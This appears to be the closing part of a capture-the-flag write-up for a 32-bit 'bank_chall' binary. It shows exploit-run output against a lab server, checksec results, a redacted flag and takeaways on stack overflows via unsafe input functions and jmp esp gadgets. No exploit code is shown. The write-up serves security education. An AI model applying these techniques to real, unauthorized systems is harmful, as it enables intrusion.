[x] Opening connection to labs.ctfzone.com on port 7480
[x] Opening connection to labs.ctfzone.com: Trying 172.237.105.125
[+] Opening connection to labs.ctfzone.com: Done
[*] '/home/egovridc/Downloads/ctfzone/bank_chall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
[x] Receiving all data
[x] Receiving all data: 3B
[x] Receiving all data: 69B
[+] Receiving all data: Done (69B)
[*] Closed connection to labs.ctfzone.com port 7480
> Thank you. Feedback saved.
ctfzone{REDACTED}
Flag
ctfzone{REDACTED}
Key Takeaways
- Always check for unbounded input functions:
gets(),scanf("%s"),strcpy(), etc. are dangerous - No canary + NX disabled = trivial overflow: This combination makes stack-based buffer overflows straightforward to exploit
- Use gadgets to redirect control flow: When you can't directly jump to shellcode, look for
jmp espor similar gadgets in the binary - Examine the call flow: Vulnerable code paths aren't always obvious - trace through the program to find reachable vulnerabilities